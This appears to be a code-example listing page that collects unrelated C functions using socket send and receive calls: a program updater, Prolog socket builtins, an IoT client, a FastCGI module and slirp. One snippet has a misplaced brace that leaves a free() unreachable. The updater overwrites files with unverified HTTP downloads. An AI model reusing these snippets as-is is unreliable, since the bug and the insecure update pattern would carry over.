      FATAL_ERROR(EC_COLOR_RED"ERROR"EC_COLOR_END" Bad response from server");
  
   ptr += strlen(GBL_PROGRAM) + 1;

   /* the first line in the response is the latest version */
   latest = strdup(ec_strtok(ptr, "\n", &tok));
   /* move the ptr after the first token */
   ptr += strlen(latest) + 1;
   
   fprintf(stdout, " + %-18s -> version "EC_COLOR_BLUE"%-4s"EC_COLOR_END" latest is ", GBL_PROGRAM, GBL_VERSION);
   if (!strcmp(GBL_VERSION, latest))
      fprintf(stdout, EC_COLOR_GREEN"%-4s"EC_COLOR_END"\n\n", latest );
   else
      fprintf(stdout, EC_COLOR_YELLOW"%-4s"EC_COLOR_END"\n\n", latest );
      
   SAFE_FREE(latest);

   /* update every entry in the response */
   for(latest = strsep(&ptr, "\n"); latest != NULL; latest = strsep(&ptr, "\n")) {
      update_file(latest);
   }
  
   fprintf(stdout, "\n\n");

   clean_exit(0);
}
Ejemplo n.º 13
0
/* 
 * download the file and replace 
 * the existing one
 */
static int do_update(char *file, char *url, char *errbuf)
{
   FILE *fd;
   int sock;
   int len, header_skipped = 0;
   char *ptr = NULL;
   char *host;
   char getmsg[512];
   char buffer[4096];
 
   memset(buffer, 0, sizeof(buffer));
   
   /* check if the url is valid */
   if (!match_pattern(url, "http://*/*")) {
      snprintf(errbuf, ERR_MAX_LEN, "invalid URL");
      return 0;
   }

   /* get the hostname */
   host = strdup(url + strlen("http://"));
   ptr = host;
   while (*ptr != '/') ptr++;
   *ptr = '\0';
   
   /* open the file for writing */
   fd = open_data("share", file, FOPEN_WRITE_TEXT);
   if (fd == NULL) {
      snprintf(errbuf, ERR_MAX_LEN, "cannot open %s", file);
      return 0;
   }
  
   sock = open_socket(host, 80);
   
   switch(sock) {
      case -ENOADDRESS:
         FATAL_MSG("Cannot resolve %s", host);
         break;
      case -EFATAL:
         FATAL_MSG("Cannot create the socket");
         break;
      case -ETIMEOUT:
         FATAL_MSG("Connect timeout to %s on port 80", host);
         break;
      case -EINVALID:
         FATAL_MSG("Error connecting to %s on port 80", host);
         break;
   }
   
   /* prepare the HTTP request */
   snprintf(getmsg, sizeof(getmsg), "GET %s HTTP/1.0\r\n"
                                     "Host: %s\r\n"
                                     "User-Agent: %s (%s)\r\n"
                                     "\r\n", url, host, GBL_PROGRAM, GBL_VERSION );
   
   /* send the request to the server */
   socket_send(sock, getmsg, strlen(getmsg));

   DEBUG_MSG("do_update - SEND \n\n%s\n\n", getmsg);

   /* get the server response */
   while ( (len = socket_recv(sock, buffer, sizeof(buffer) - 1)) ) {

      DEBUG_MSG("do_update - RECEIVE \n\n%s\n\n", buffer);

      /* skip the HTTP header */
      if ( (ptr = strstr(buffer, "\r\n\r\n")))
         header_skipped = 1;
   
      /* write the data in the file */
      if (header_skipped) {
         if (ptr) {
            write(fileno(fd), ptr + 4, len - (ptr + 4 - buffer));
         } else {
            write(fileno(fd), buffer, len);
         }
      }
   
      memset(buffer, 0, sizeof(buffer));
      ptr = NULL;

   }

   SAFE_FREE(host);
   close_socket(sock);
   fclose(fd);

   return 1;
}
Ejemplo n.º 14
0
/* in order to save builtin numbers, create a single socket function with
 * options socket_request(SockOperation,....)  */
xsbBool xsb_socket_request(CTXTdecl)
{
  int ecode = 0;  /* error code for socket ops */
  int timeout_flag;
  SOCKET sock_handle;
  int domain, portnum;
  SOCKADDR_IN socket_addr;
  struct linger sock_linger_opt;
  int rc;
  char *message_buffer = NULL; /* initialized to keep compiler happy */
  UInteger msg_len = 0;	  /* initialized to keep compiler happy */
  char char_read;

  switch (ptoc_int(CTXTc 1)) {
  case SOCKET_ROOT: /* this is the socket() request */
    /* socket_request(SOCKET_ROOT,+domain,-socket_fd,-Error,_,_,_) 
       Currently only AF_INET domain */
    domain = (int)ptoc_int(CTXTc 2); 
    if (!translate_domain(domain, &domain)) {
      return FALSE;
    }
    
    sock_handle = socket(domain, SOCK_STREAM, IPPROTO_TCP);
	
    /* error handling */
    if (BAD_SOCKET(sock_handle)) {
      ecode = XSB_SOCKET_ERRORCODE;
      perror("SOCKET_REQUEST");
    } else {
      ecode = SOCK_OK;
    }

    ctop_int(CTXTc 3, (SOCKET) sock_handle);
	
    return set_error_code(CTXTc ecode, 4, "SOCKET_REQUEST");

  case SOCKET_BIND:
    /* socket_request(SOCKET_BIND,+domain,+sock_handle,+port,-Error,_,_) 
       Currently only supports AF_INET */
    sock_handle = (SOCKET) ptoc_int(CTXTc 3);
    portnum = (int)ptoc_int(CTXTc 4);
    domain = (int)ptoc_int(CTXTc 2);

    if (!translate_domain(domain, &domain)) {
      return FALSE;
    }
    
    /* Bind server to the agreed upon port number.
    ** See commdef.h for the actual port number. */
    FillWithZeros(socket_addr);
    socket_addr.sin_port = htons((unsigned short)portnum);
    socket_addr.sin_family = AF_INET;
#ifndef WIN_NT
    socket_addr.sin_addr.s_addr = htonl(INADDR_ANY);
#endif
    
    rc = bind(sock_handle, (PSOCKADDR) &socket_addr, sizeof(socket_addr));
	
    /* error handling */
    if (SOCKET_OP_FAILED(rc)) {
      ecode = XSB_SOCKET_ERRORCODE;
      perror("SOCKET_BIND");
    } else
      ecode = SOCK_OK;

    return set_error_code(CTXTc ecode, 5, "SOCKET_BIND");

  case SOCKET_LISTEN: 
    /* socket_request(SOCKET_LISTEN,+sock_handle,+length,-Error,_,_,_) */
    sock_handle = (SOCKET) ptoc_int(CTXTc 2);
    rc = listen(sock_handle, (int)ptoc_int(CTXTc 3));

    /* error handling */
    if (SOCKET_OP_FAILED(rc)) {
      ecode = XSB_SOCKET_ERRORCODE;
      perror("SOCKET_LISTEN");
    } else
      ecode = SOCK_OK;

    return set_error_code(CTXTc ecode, 4, "SOCKET_LISTEN");

  case SOCKET_ACCEPT:
    timeout_flag = socket_accept(CTXTc (SOCKET *)&rc, (int)pflags[SYS_TIMER]);
	  
    if (timeout_flag == TIMED_OUT) {
      return set_error_code(CTXTc TIMEOUT_ERR, 4, "SOCKET_SEND");
    } else {
      /* error handling */ 
      if (BAD_SOCKET(rc)) {
	ecode = XSB_SOCKET_ERRORCODE;
	perror("SOCKET_ACCEPT");
	sock_handle = rc; /* shut up warning */
      } else {
	sock_handle = rc; /* accept() returns sock_out */
	ecode = SOCK_OK;
      }
	       
      ctop_int(CTXTc 3, (SOCKET) sock_handle);
	       
      return set_error_code(CTXTc ecode,  4,  "SOCKET_ACCEPT");	  
    }
  case SOCKET_CONNECT: {
    /* socket_request(SOCKET_CONNECT,+domain,+sock_handle,+port,
       +hostname,-Error) */
    timeout_flag = socket_connect(CTXTc &rc, (int)pflags[SYS_TIMER]);

    if (timeout_flag == TIMED_OUT) {
      return set_error_code(CTXTc TIMEOUT_ERR, 6, "SOCKET_CONNECT");
    } else if (timeout_flag == TIMER_SETUP_ERR) {
      return set_error_code(CTXTc TIMER_SETUP_ERR, 6, "SOCKET_CONNECT");
    } else {
      /* error handling */
      if (SOCKET_OP_FAILED(rc)) {
	ecode = XSB_SOCKET_ERRORCODE;
	perror("SOCKET_CONNECT");
	/* close, because if connect() fails then socket becomes unusable */
	closesocket(ptoc_int(CTXTc 3));
      } else {
	ecode = SOCK_OK;
      }
      return set_error_code(CTXTc ecode,  6,  "SOCKET_CONNECT");
    }
  }

  case SOCKET_CLOSE: 
    /* socket_request(SOCKET_CLOSE,+sock_handle,-Error,_,_,_,_) */
    
    sock_handle = (SOCKET)ptoc_int(CTXTc 2);
    
    /* error handling */
    rc = closesocket(sock_handle);
    if (SOCKET_OP_FAILED(rc)) {
      ecode = XSB_SOCKET_ERRORCODE;
      perror("SOCKET_CLOSE");
    } else
      ecode = SOCK_OK;
    
    return set_error_code(CTXTc ecode, 3, "SOCKET_CLOSE");
    
  case SOCKET_RECV:
    /* socket_request(SOCKET_RECV,+Sockfd, -Msg, -Error,_,_,_) */
    // TODO: consider adding protection against interrupts, EINTR, like
    //       in socket_get0.
    timeout_flag = socket_recv(CTXTc &rc, &message_buffer, &msg_len, (int)pflags[SYS_TIMER]);
	  
    if (timeout_flag == TIMED_OUT) {
      return set_error_code(CTXTc TIMEOUT_ERR, 4, "SOCKET_SEND");
    } else {
      /* error handling */
      switch (rc) {
      case SOCK_OK:
	ecode = SOCK_OK;
	break;
      case SOCK_READMSG_FAILED:
	ecode = XSB_SOCKET_ERRORCODE;
	perror("SOCKET_RECV");
	break;
      case SOCK_READMSG_EOF:
	ecode = SOCK_EOF;
	break;
      case SOCK_HEADER_LEN_MISMATCH:
	ecode = XSB_SOCKET_ERRORCODE;
	break;
      default:
	xsb_abort("XSB bug: [SOCKET_RECV] invalid return code from readmsg");
      }
	       
      if (message_buffer != NULL) {
	/* use message_buffer+XSB_MSG_HEADER_LENGTH because the first
	   XSB_MSG_HEADER_LENGTH bytes are for the message length header */
	ctop_string(CTXTc 3, (char*)message_buffer+XSB_MSG_HEADER_LENGTH);
	mem_dealloc(message_buffer,msg_len,OTHER_SPACE);
      } else {  /* this happens at the end of a file */
	ctop_string(CTXTc 3, (char*)"");
      }
	       
      return set_error_code(CTXTc ecode, 4, "SOCKET_RECV");  
    }
	       
  case SOCKET_SEND:
    /* socket_request(SOCKET_SEND,+Sockfd, +Msg, -Error,_,_,_) */
    timeout_flag = socket_send(CTXTc &rc, (int)pflags[SYS_TIMER]);
    
    if (timeout_flag == TIMED_OUT) {
      return set_error_code(CTXTc TIMEOUT_ERR, 4, "SOCKET_SEND");
    } else {
      /* error handling */
      if (SOCKET_OP_FAILED(rc)) {
	ecode = XSB_SOCKET_ERRORCODE;
	perror("SOCKET_SEND");
      } else {
	ecode = SOCK_OK;
      }
      return set_error_code(CTXTc ecode,  4,  "SOCKET_SEND"); 
    }

  case SOCKET_GET0:
    /* socket_request(SOCKET_GET0,+Sockfd,-C,-Error,_,_,_) */
    message_buffer = &char_read;
    timeout_flag = socket_get0(CTXTc &rc, message_buffer, (int)pflags[SYS_TIMER]);
	  
    if (timeout_flag == TIMED_OUT) {
      return set_error_code(CTXTc TIMEOUT_ERR, 4, "SOCKET_SEND");
    } else {
      /*error handling */ 
      switch (rc) {
      case 1:
	ctop_int(CTXTc 3,(unsigned char)message_buffer[0]);
	ecode = SOCK_OK;
	break;
      case 0:
	ecode = SOCK_EOF;
	break;
      default:
	ctop_int(CTXTc 3,-1);
	perror("SOCKET_GET0");
	ecode = XSB_SOCKET_ERRORCODE;
      }
	       
      return set_error_code(CTXTc ecode,  4,  "SOCKET_GET0");
    }    
  case SOCKET_PUT:
    /* socket_request(SOCKET_PUT,+Sockfd,+C,-Error_,_,_) */
    timeout_flag = socket_put(CTXTc &rc, (int)pflags[SYS_TIMER]);
	       
    if (timeout_flag == TIMED_OUT) {
      return set_error_code(CTXTc TIMEOUT_ERR, 4, "SOCKET_SEND");
    } else {
      /* error handling */
      if (rc == 1) {
	ecode = SOCK_OK;
      } else if (SOCKET_OP_FAILED(rc)) {
	ecode = XSB_SOCKET_ERRORCODE;
	perror("SOCKET_PUT");
      }
	       
      return set_error_code(CTXTc ecode,  4,  "SOCKET_PUT");
    }
  case SOCKET_SET_OPTION: {
    /* socket_request(SOCKET_SET_OPTION,+Sockfd,+OptionName,+Value,_,_,_) */
    
    char *option_name = ptoc_string(CTXTc 3);
    
    sock_handle = (SOCKET)ptoc_int(CTXTc 2);

    /* Set the "linger" parameter to a small number of seconds */
    if (0==strcmp(option_name,"linger")) {
      int  linger_time=(int)ptoc_int(CTXTc 4);
      
      if (linger_time < 0) {
	sock_linger_opt.l_onoff = FALSE;
	sock_linger_opt.l_linger = 0;
      } else {
	sock_linger_opt.l_onoff = TRUE;
	sock_linger_opt.l_linger = linger_time;
      }
      
      if (SETSOCKOPT(sock_handle, SOL_SOCKET, SO_LINGER,
		     &sock_linger_opt, sizeof(sock_linger_opt))
	  < 0) {
	xsb_warn(CTXTc "[SOCKET_SET_OPTION] Cannot set socket linger time");
	return FALSE;
      } 
    }else {
      xsb_warn(CTXTc "[SOCKET_SET_OPTION] Invalid option, `%s'", option_name);
      return FALSE;
    }
    
    return TRUE;
  }

  case SOCKET_SET_SELECT:  {  
    /*socket_request(SOCKET_SET_SELECT,+connection_name,
      +R_sockfd,+W_sockfd,+E_sockfd) */
    prolog_term R_sockfd, W_sockfd, E_sockfd;
    int i, connection_count;
    int rmax_fd=0, wmax_fd=0, emax_fd=0; 
    char *connection_name = ptoc_string(CTXTc 2);
    
    /* bind fds to input arguments */
    R_sockfd = reg_term(CTXTc 3);
    W_sockfd = reg_term(CTXTc 4);
    E_sockfd = reg_term(CTXTc 5);	
    
    /* initialize the array of connect_t structure for select call */	
    init_connections(CTXT); 
    
    SYS_MUTEX_LOCK(MUTEX_SOCKETS);
    /* check whether the same connection name exists */
    for (i=0;i<MAXCONNECT;i++) {
      if ((connections[i].empty_flag==FALSE) &&
	  (strcmp(connection_name,connections[i].connection_name)==0)) 	
	xsb_abort("[SOCKET_SET_SELECT] Connection `%s' already exists!",
		  connection_name);
    }
    
    /* check whether there is empty slot left for connection */	
    if ((connection_count=checkslot())<MAXCONNECT) {
      if (connections[connection_count].connection_name == NULL) {
	connections[connection_count].connection_name = connection_name;
	connections[connection_count].empty_flag = FALSE;
	
	/* call the utility function separately to take the fds in */
	list_sockfd(R_sockfd, &connections[connection_count].readset,
		    &rmax_fd, &connections[connection_count].read_fds,
		    &connections[connection_count].sizer);
	list_sockfd(W_sockfd, &connections[connection_count].writeset,
		    &wmax_fd, &connections[connection_count].write_fds,
		    &connections[connection_count].sizew);
	list_sockfd(E_sockfd, &connections[connection_count].exceptionset, 
		    &emax_fd,&connections[connection_count].exception_fds,
		    &connections[connection_count].sizee);
	
	connections[connection_count].maximum_fd =
	  xsb_max(xsb_max(rmax_fd,wmax_fd), emax_fd);
      } else 
	/* if this one is reached, it is probably a bug */
	xsb_abort("[SOCKET_SET_SELECT] All connections are busy!");
    } else
      xsb_abort("[SOCKET_SET_SELECT] Max number of collections exceeded!");
    SYS_MUTEX_UNLOCK(MUTEX_SOCKETS);
    
    return TRUE;
  }
  
  case SOCKET_SELECT: {
    /* socket_request(SOCKET_SELECT,+connection_name, +timeout
       -avail_rsockfds,-avail_wsockfds,
       -avail_esockfds,-ecode)
       Returns 3 prolog_terms for available socket fds */

    prolog_term Avail_rsockfds, Avail_wsockfds, Avail_esockfds;
    prolog_term Avail_rsockfds_tail, Avail_wsockfds_tail, Avail_esockfds_tail;

    int maxfd;
    int i;       /* index for connection_count */
    char *connection_name = ptoc_string(CTXTc 2);
    struct timeval *tv;
    prolog_term timeout_term;
    int timeout =0;
    int connectname_found = FALSE;
    int count=0;			

    SYS_MUTEX_LOCK(MUTEX_SOCKETS);
    /* specify the time out */
    timeout_term = reg_term(CTXTc 3);
    if (isointeger(timeout_term)) {
      timeout = (int)oint_val(timeout_term);
      /* initialize tv */
      tv = (struct timeval *)mem_alloc(sizeof(struct timeval),LEAK_SPACE);
      tv->tv_sec = timeout;
      tv->tv_usec = 0;
    } else
      tv = NULL; /* no timeouts */

    /* initialize the prolog term */ 
    Avail_rsockfds = p2p_new(CTXT);
    Avail_wsockfds = p2p_new(CTXT);
    Avail_esockfds = p2p_new(CTXT); 

    /* bind to output arguments */
    Avail_rsockfds = reg_term(CTXTc 4);
    Avail_wsockfds = reg_term(CTXTc 5);
    Avail_esockfds = reg_term(CTXTc 6);

    Avail_rsockfds_tail = Avail_rsockfds;
    Avail_wsockfds_tail = Avail_wsockfds;
    Avail_esockfds_tail = Avail_esockfds;

    /*
      // This was wrong. Lists are now made inside test_ready()
      c2p_list(CTXTc Avail_rsockfds_tail);
      c2p_list(CTXTc Avail_wsockfds_tail);	
      c2p_list(CTXTc Avail_esockfds_tail); 
    */
    
    for (i=0; i < MAXCONNECT; i++) {
      /* find the matching connection_name to select */
      if(connections[i].empty_flag==FALSE) {
	if (strcmp(connection_name, connections[i].connection_name) == 0) {
	  connectname_found = TRUE;
	  count = i;
	  break;
	} 
      }
    }
    if( i >= MAXCONNECT )  /* if no matching connection_name */
      xsb_abort("[SOCKET_SELECT] connection `%s' doesn't exist",
		connection_name); 
    
    /* compute maxfd for select call */
    maxfd = connections[count].maximum_fd + 1;

    /* FD_SET all sockets */
    set_sockfd( CTXTc count );

    /* test whether the socket fd is available */
    rc = select(maxfd, &connections[count].readset, 
		&connections[count].writeset,
		&connections[count].exceptionset, tv);
    
    /* error handling */	
    if (rc == 0)     /* timed out */
      ecode = TIMEOUT_ERR;
    else if (SOCKET_OP_FAILED(rc)) {
      perror("SOCKET_SELECT");
      ecode = XSB_SOCKET_ERRORCODE;
    } else {      /* no error */
      ecode = SOCK_OK;
	 
      /* call the utility function to return the available socket fds */
      test_ready(CTXTc &Avail_rsockfds_tail, &connections[count].readset,
		 connections[count].read_fds,connections[count].sizer);

      test_ready(CTXTc &Avail_wsockfds_tail, &connections[count].writeset,
		 connections[count].write_fds,connections[count].sizew);

      test_ready(CTXTc &Avail_esockfds_tail,&connections[count].exceptionset,
		 connections[count].exception_fds,connections[count].sizee);
    }
    SYS_MUTEX_UNLOCK(MUTEX_SOCKETS);

    if (tv) mem_dealloc((struct timeval *)tv,sizeof(struct timeval),LEAK_SPACE);
    SQUASH_LINUX_COMPILER_WARN(connectname_found) ; 
    return set_error_code(CTXTc ecode, 7, "SOCKET_SELECT");
  }

  case SOCKET_SELECT_DESTROY:  { 
    /*socket_request(SOCKET_SELECT_DESTROY, +connection_name) */
    char *connection_name = ptoc_string(CTXTc 2);
    select_destroy(CTXTc connection_name);
    return TRUE;
  }

  default:
    xsb_warn(CTXTc "[SOCKET_REQUEST] Invalid socket request %d", (int) ptoc_int(CTXTc 1));
    return FALSE;
  }

  /* This trick would report a bug, if a newly added case
     doesn't have a return clause */
  xsb_bug("SOCKET_REQUEST case %d has no return clause", ptoc_int(CTXTc 1));
}
/*
*********************************************************************************************************
* NOTE: each key and value in 'pkeys' and 'pvalues' must be urlencoded
*********************************************************************************************************
*/
CPU_BOOLEAN Exosite_Write_Batch(CPU_CHAR **pkeys, CPU_CHAR **pvalues, CPU_SIZE_T count)
{
    CPU_BOOLEAN  success = DEF_FALSE;
    NET_SOCK_ID  sock;
    CPU_SIZE_T   len, slen, rxlen;
    CPU_CHAR     length[4];
    CPU_CHAR     rx[RX_SIZE];
    CPU_SIZE_T   i;

    if (0 == count)
    {
        return success;
    }

    len = 0;
    for (i = 0; i < count; i++)
    {
        len +=  Str_Len(pkeys[i]) + 1 + Str_Len(pvalues[i]); // "<key>","=","<val>"
    }
    len += count - 1; // number of '&' chars.

    if (0 == Str_FmtNbr_Int32U (
        (CPU_INT32U)  len,
        (CPU_INT08U)  3,
        (CPU_INT08U)  10,
        (CPU_CHAR)    '\0',
        (CPU_BOOLEAN) DEF_YES,
        (CPU_BOOLEAN) DEF_YES,
        (CPU_CHAR*)   length
    ))
    {
        return success;
    }
    slen = Str_Len_N(length, 3);

    sock = socket_open();

    if (-1 == sock)
    {
        return success;
    }

    if (
        35         != socket_send(sock, "POST /api:v1/stack/alias HTTP/1.1\r\n", 35) ||
        22         != socket_send(sock, "Host: m2.exosite.com\r\n", 22) ||
        15         != socket_send(sock, "X-Exosite-CIK: ", 15) ||
        CIK_LENGTH != socket_send(sock, CIK, CIK_LENGTH) ||
        2          != socket_send(sock, "\r\n", 2) ||
        64         != socket_send(sock, "Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n", 64) ||
        16         != socket_send(sock, "Content-Length: ", 16) ||
        slen       != socket_send(sock, length, slen) ||
        4          != socket_send(sock, "\r\n\r\n", 4)
    )
    {
        socket_close(sock);
        return success;
    }

    i = 0;
    socket_send(sock, pkeys[i], Str_Len(pkeys[i]));
    socket_send(sock, "=", 1);
    socket_send(sock, pvalues[i], Str_Len(pvalues[i]));
    for (i = 1; i < count; i++)
    {
        socket_send(sock, "&", 1);
        socket_send(sock, pkeys[i], Str_Len(pkeys[i]));
        socket_send(sock, "=", 1);
        socket_send(sock, pvalues[i], Str_Len(pvalues[i]));
    }

    // @HTTP/x.x NNN@
    rxlen = socket_recv(sock, rx, 12);

    if (12 == rxlen && '2' == rx[9] && '0' == rx[10] && '4' == rx[11])
    {
        success = DEF_TRUE;
    }

    socket_close(sock);
    return success;
}
Ejemplo n.º 16
0
int fcgi_server_send_stdin_record(fcgi_request_t *fr, uint16_t request_id,
		void *record_buffer)
{
	apr_bucket_brigade *bb = apr_brigade_create(fr->r->pool,
			fr->r->connection->bucket_alloc);

	int seen_eos = 0, server_stopped_reading = 0;
	apr_status_t rv;

	do {
		apr_bucket *bucket;

		rv = ap_get_brigade(fr->r->input_filters, bb, AP_MODE_READBYTES,
				APR_BLOCK_READ, HUGE_STRING_LEN);

		if (rv != APR_SUCCESS) {
			ap_log_rerror(APLOG_MARK, APLOG_ERR, rv, fr->r,
					"FastCGI: error reading request entity data");
			return HTTP_INTERNAL_SERVER_ERROR;
		}

		for (bucket = APR_BRIGADE_FIRST(bb);
				bucket != APR_BRIGADE_SENTINEL(bb);
				bucket = APR_BUCKET_NEXT(bucket))
		{
			const char *data;
			apr_size_t len;

			if (APR_BUCKET_IS_EOS(bucket)) {
				seen_eos = 1;
				break;
			}

			/* We can't do much with this. */
			if (APR_BUCKET_IS_FLUSH(bucket)) {
				continue;
			}

			/* if the FastCGI server stopped reading, we still must read to EOS. */
			if (server_stopped_reading) {
				continue;
			}

			/* read from client */
			apr_bucket_read(bucket, &data, &len, APR_BLOCK_READ);

			/* build FCGI_STDIN record
			 *
			 * A bucket can hold up to 8000 bytes. Since FastCGI packets can be
			 * up to 64K we don't have to worry about to much stdin data being
			 * read in one single iteration.
			 */
			int padding_length = fcgi_record_build((fcgi_header_t)record_buffer,
					request_id, FCGI_STDIN, len);

			/* send header data to the FastCGI server */
			ssize_t bytes_sent = socket_send(fr,
					record_buffer, FCGI_HEADER_LEN);

			if (bytes_sent == -1) {
				server_stopped_reading = 1;
				continue;
			}

			/* send stdin data to the FastCGI server */
			bytes_sent = socket_send(fr, (char *)data, len);

			if (bytes_sent == -1) {
				server_stopped_reading = 1;
				continue;
			}

			/* send padding to the FastCGI server */
			bytes_sent = socket_send(fr,
					((char *)record_buffer) + FCGI_HEADER_LEN + len,
					padding_length);

			if (bytes_sent == -1) {
				server_stopped_reading = 1;
				continue;
			}
		}

		apr_brigade_cleanup(bb);
	} while (!seen_eos);

	apr_brigade_cleanup(bb);

	/* build void FCGI_STDIN record */
	fcgi_header_set((fcgi_header_t)record_buffer, FCGI_VERSION_1, FCGI_STDIN, request_id, 0, 0);

	/* send data to the FastCGI server */
	ssize_t bytes_sent = socket_send(fr, record_buffer, FCGI_HEADER_LEN);

	if (bytes_sent == -1) {
		ap_log_rerror(APLOG_MARK, APLOG_ERR, errno, fr->r,
				"FastCGI: failed to write to backend server (id=%u)", request_id);
		return HTTP_INTERNAL_SERVER_ERROR;
	}

	return OK;
}
static void activate_device(void)
{
    NET_SOCK_ID  sock;
    CPU_SIZE_T   len, slen, rxlen, venlen, osnlen, osvlen;
    CPU_CHAR     length[4];
    CPU_CHAR     NCIK[CIK_LENGTH];
    CPU_CHAR     rx[RX_SIZE];
    CPU_CHAR    *p, *pVEN, *pOSN, *pOSV;
    rdk_meta *meta_info = (rdk_meta *)RDK_META_LOCATION;
    
    pVEN = malloc(VEN_LENGTH * 3 + 1);
    venlen = url_encode(pVEN, VEN_LENGTH * 3 + 1, VEN, VEN_LENGTH);    
    pOSN = malloc(OSN_LENGTH * 3 + 1);
    osnlen = url_encode(pOSN, OSN_LENGTH * 3 + 1, OSN, OSN_LENGTH);
    pOSV = malloc(OSV_LENGTH * 3 + 1);
    osvlen = url_encode(pOSV, OSV_LENGTH * 3 + 1, OSV, OSV_LENGTH);

    len  = 7 + venlen;            // "vendor=",VEN  
    len += 7 + PID_LENGTH;        // "&model=",PID
    len += 4 + MAC_LENGTH;        // "&sn=",MAC
    len += 5 + osnlen;            // "&osn=",OSN
    len += 5 + osvlen;            // "&osv=",OSV
    len += 5 + RDK_META_MFR_SIZE; // "&mfr=",MFRDATA
    
    if (0 == Str_FmtNbr_Int32U (
        (CPU_INT32U)  len,
        (CPU_INT08U)  3,
        (CPU_INT08U)  10,
        (CPU_CHAR)    '\0',
        (CPU_BOOLEAN) DEF_YES,
        (CPU_BOOLEAN) DEF_YES,
        (CPU_CHAR*)   length
    ))
    {
        return;
    }
    slen = Str_Len_N(length, 3);

    sock = socket_open();

    if (-1 == sock)
    {
        return;
    }

    if (
        35                != socket_send(sock, "POST /provision/activate HTTP/1.1\r\n", 35) ||
        22                != socket_send(sock, "Host: m2.exosite.com\r\n", 22) ||
        64                != socket_send(sock, "Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n", 64) ||
        35                != socket_send(sock, "Accept: text/plain; charset=utf-8\r\n", 35) ||
        16                != socket_send(sock, "Content-Length: ", 16) ||
        slen              != socket_send(sock, length, slen) ||
        4                 != socket_send(sock, "\r\n\r\n", 4) ||
        7                 != socket_send(sock, "vendor=", 7) ||
        venlen            != socket_send(sock, pVEN, venlen) ||        
        7                 != socket_send(sock, "&model=", 7) ||
        PID_LENGTH        != socket_send(sock, PID, PID_LENGTH) ||
        4                 != socket_send(sock, "&sn=", 4) ||
        MAC_LENGTH        != socket_send(sock, MAC, MAC_LENGTH) ||
        5                 != socket_send(sock, "&osn=", 5) ||
        osnlen            != socket_send(sock, pOSN, osnlen) ||
        5                 != socket_send(sock, "&osv=", 5) ||
        osvlen            != socket_send(sock, pOSV, osvlen) ||
        5                 != socket_send(sock, "&mfr=", 5) ||
        RDK_META_MFR_SIZE != socket_send(sock, meta_info->mfr, RDK_META_MFR_SIZE)
    )
    {
        socket_close(sock);
        return;
    
    free(pVEN);    }
    free(pOSN);
    free(pOSV);

    // @HTTP/x.x NNN@
    rxlen = socket_recv(sock, rx, 12);

    if (12 == rxlen && '2' == rx[9] && '0' == rx[10] && '0' == rx[11])
    {
        CPU_CHAR crlf = 0;
        CPU_CHAR ciklen = 0;

        do
        {
            rxlen = socket_recv(sock, rx, RX_SIZE);
            len = rxlen;
            p = rx;

            // Find 4 consecutive \r or \n - should be: \r\n\r\n
            while (0 < len && 4 > crlf)
            {
                if ('\r' == *p || '\n' == *p)
                {
                    ++crlf;
                }
                else
                {
                    crlf = 0;
                }
                ++p;
                --len;
            }

            // The body is the CIK
            if (0 < len && 4 == crlf && CIK_LENGTH > ciklen)
            {
                // TODO, be more robust - match Content-Length header value to CIK_LENGTH
                CPU_CHAR need, part;
                need = CIK_LENGTH - ciklen;
                part = need < len ? need : len;
                Str_Copy_N(NCIK + ciklen, p, part);
                ciklen += part;
            }
        } while (RX_SIZE == rxlen);

        if (CIK_LENGTH == ciklen)
        {
            Exosite_SetCIK(NCIK);
        }
    }

    socket_close(sock);
}
Ejemplo n.º 18
0
void SocketMonitor::signal( int socket )
{
  socket_send( m_signal, (char*)&socket, sizeof(socket) );
}
Ejemplo n.º 19
0
void slirp_select_poll(fd_set *readfds, fd_set *writefds, fd_set *xfds)
{
    struct socket *so, *so_next;
    int ret;

    global_readfds = readfds;
    global_writefds = writefds;
    global_xfds = xfds;

	
	updtime();

	if (link_up) {
		if (time_fasttimo && ((curtime - time_fasttimo) >= 2)) {
			tcp_fasttimo();
			time_fasttimo = 0;
		}
		if (do_slowtimo && ((curtime - last_slowtimo) >= 499)) {
			ip_slowtimo();
			tcp_slowtimo();
			last_slowtimo = curtime;
		}
	}

	if (link_up) {
		for (so = tcb.so_next; so != &tcb; so = so_next) {
			so_next = so->so_next;

			if (so->so_state & SS_NOFDREF || so->s == -1)
			   continue;

            if ((so->so_state & SS_PROXIFIED) != 0)
                continue;

			if (FD_ISSET(so->s, xfds))
			   sorecvoob(so);
			else if (FD_ISSET(so->s, readfds)) {
				if (so->so_state & SS_FACCEPTCONN) {
					tcp_connect(so);
					continue;
				} 
				ret = soread(so);

				
				if (ret > 0)
				   tcp_output(sototcpcb(so));
			}

			if (FD_ISSET(so->s, writefds)) {
			  if (so->so_state & SS_ISFCONNECTING) {
			    
			    so->so_state &= ~SS_ISFCONNECTING;

			    ret = socket_send(so->s, (const void *)&ret, 0);
			    if (ret < 0) {
			      
			      if (errno == EAGAIN || errno == EWOULDBLOCK ||
				  errno == EINPROGRESS || errno == ENOTCONN)
				continue;

			      
			      so->so_state = SS_NOFDREF;
			    }
			    

			    tcp_input((struct mbuf *)NULL, sizeof(struct ip), so);
			    
			  } else
			    ret = sowrite(so);
			}

#ifdef PROBE_CONN
			if (so->so_state & SS_ISFCONNECTING) {
			  ret = socket_recv(so->s, (char *)&ret, 0);

			  if (ret < 0) {
			    
			    if (errno == EAGAIN || errno == EWOULDBLOCK ||
				errno == EINPROGRESS || errno == ENOTCONN)
			      continue; 

			    
			    so->so_state = SS_NOFDREF;

			    
			  } else {
			    ret = socket_send(so->s, &ret, 0);
			    if (ret < 0) {
			      
			      if (errno == EAGAIN || errno == EWOULDBLOCK ||
				  errno == EINPROGRESS || errno == ENOTCONN)
				continue;
			      
			      so->so_state = SS_NOFDREF;
			    } else
			      so->so_state &= ~SS_ISFCONNECTING;

			  }
			  tcp_input((struct mbuf *)NULL, sizeof(struct ip),so);
			} 
#endif
		}

		for (so = udb.so_next; so != &udb; so = so_next) {
			so_next = so->so_next;

            if ((so->so_state & SS_PROXIFIED) != 0)
                continue;

			if (so->s != -1 && FD_ISSET(so->s, readfds)) {
                            sorecvfrom(so);
                        }
		}
	}

    proxy_manager_poll(readfds, writefds, xfds);

	if (if_queued && link_up)
	   if_start();

	 global_readfds = NULL;
	 global_writefds = NULL;
	 global_xfds = NULL;
}
Ejemplo n.º 20
0
int
main (int argc, char **argv)
{
  int ret;
  int ii, i, inp;
  char buffer[MAX_BUF + 1];
  char *session_data = NULL;
  char *session_id = NULL;
  size_t session_data_size;
